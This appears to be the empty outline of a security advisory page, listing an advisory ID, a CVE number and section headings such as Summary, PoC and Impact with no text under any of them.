GHSA-G6VG-WJ8F-48CJ

Summary

Details

PoC

Impact

Suggested remediation

CVE-2026-49998 (GCVE-0-2026-49998)

Tags

Sightings

Nomenclature